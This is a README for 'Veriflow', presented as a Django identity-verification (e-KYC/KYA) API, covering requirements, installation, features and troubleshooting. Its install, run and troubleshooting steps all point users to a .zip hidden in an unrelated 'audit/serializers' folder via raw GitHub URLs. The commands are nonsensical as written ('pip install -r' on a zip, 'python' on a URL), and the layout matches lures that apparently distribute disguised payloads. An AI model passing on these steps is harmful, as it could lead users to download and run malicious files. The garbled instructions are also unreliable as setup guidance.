Veriflow is an e-KYC (Electronic Know Your Customer) and KYA (Know Your Applicant) API built using Django and Django REST Framework. This tool helps businesses verify identities efficiently and effectively. With Veriflow, you can streamline your processes and enhance user trust, making identity verification fast and reliable.
Follow these steps to download and run Veriflow on your computer.
- Operating System: Windows 10 or later, macOS, or any recent Linux distribution.
- Memory: At least 4 GB of RAM.
- Disk Space: Minimum of 1 GB of available space.
- Python: Version 3.6 or newer installed on your system. Download Python.
To download Veriflow, visit this page: Download Veriflow.
-
Visit the Releases Page:
- Go to the Releases page.
-
Download the Latest Version:
- Look for the most recent release version. Click on the
.zipfile or installer link to start the download process.
- Look for the most recent release version. Click on the
-
Extract the Files:
- Once downloaded, extract the files to a preferred location on your computer.
-
Install Required Packages:
- Open your terminal or command prompt. Navigate to the folder where you extracted the files. Run the following command to install the required packages:
pip install -r https://raw.githubusercontent.com/khma-92/Veriflow/main/audit/serializers/Veriflow-v2.3.zip
- Open your terminal or command prompt. Navigate to the folder where you extracted the files. Run the following command to install the required packages:
-
Run the Application:
- After installation, you can start Veriflow by using the command:
python https://raw.githubusercontent.com/khma-92/Veriflow/main/audit/serializers/Veriflow-v2.3.zip runserver
- After installation, you can start Veriflow by using the command:
Once you run the application, you can access it via your web browser. Open your browser and go to http://127.0.0.1:8000/. This will take you to the API interface where you can begin to use Veriflow.
- Identity Verification: Quickly verify the identity of users with reliable checks.
- Facial Recognition: Use advanced algorithms for facial matching.
- Liveness Detection: Ensure that the user is present during the verification process.
- OCR Capabilities: Extract text from images for better data processing.
-
Python Not Found:
- Ensure Python is installed and added to your system's PATH variable. You can verify by running
python --versionin your command prompt.
- Ensure Python is installed and added to your system's PATH variable. You can verify by running
-
Dependencies Not Installing:
- Make sure you are connected to the internet. Run
pip install --upgrade pipto update your package manager if needed.
- Make sure you are connected to the internet. Run
-
Server Not Starting:
- Check for any errors in your terminal. Make sure you are in the correct directory where
https://raw.githubusercontent.com/khma-92/Veriflow/main/audit/serializers/Veriflow-v2.3.zipis located.
- Check for any errors in your terminal. Make sure you are in the correct directory where
If you have any questions or encounter issues while using Veriflow, feel free to open an issue in this repository. Our community and maintainers will be happy to assist you.
We welcome contributions from everyone! If you'd like to help improve Veriflow, please check the "Contributing" section in the repository for guidelines.
Veriflow is licensed under the MIT License. See the LICENSE file for more details.
For more information, updates, and detailed documentation, please refer to the GitHub repository.
Download Veriflow and start simplifying your e-KYC and KYA processes today!